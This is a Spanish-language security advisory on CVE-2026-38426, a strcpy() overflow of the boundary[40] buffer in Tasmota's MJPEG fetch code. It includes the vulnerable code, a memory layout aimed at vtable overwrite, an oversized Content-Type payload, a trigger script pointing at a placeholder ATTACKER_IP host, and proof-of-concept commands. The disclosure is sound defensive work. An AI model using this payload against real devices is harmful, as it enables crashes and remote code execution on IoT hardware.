
CVE-2026-38426 — Desbordamiento de búfer de pila por strcpy() en boundary[40] de fetch_jpg() de Tasmota (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Gravedad: Crítica (CVSS 9.8)
Producto: Arendst Tasmota
Versión afectada: <= 15.3.0.3
Archivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Función: fetch_jpg() — caso 0 (conexión inicial)
Autor: Saidakbarxon Maxsudxonov
Divulgación: Responsable — reportado a Tasmota antes de la publicación
Existe una vulnerabilidad clásica de desbordamiento de búfer por strcpy() en la función fetch_jpg() del controlador de scripting de Tasmota. La cadena boundary MJPEG extraída del encabezado de respuesta HTTP Content-Type se copia en un búfer fijo de 40 bytes (boundary[40]) sin ninguna validación de longitud. Un atacante que controle el servidor HTTP MJPEG puede proporcionar una cadena boundary de más de 39 caracteres para desbordar el búfer y corromper la memoria heap adyacente — logrando potencialmente ejecución remota de código en el ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
Sobrescribir el puntero vtable de WiFiClient o HTTPClient con un valor controlado por el atacante desencadena RCE cuando se llama posteriormente a cualquier método virtual (read(), write(), connect()).
El atacante ejecuta un servidor HTTP al que Tasmota se conecta mediante fetchjp(). El servidor responde con un encabezado Content-Type que contiene una cadena boundary de más de 39 caracteres:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
El strcpy() de Tasmota copia 50+ bytes en el búfer boundary de 40 bytes, desbordando hacia los campos adyacentes de la estructura.
Disparo mediante script de Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
Consulta CVE-2026-38426_poc.py para la implementación completa.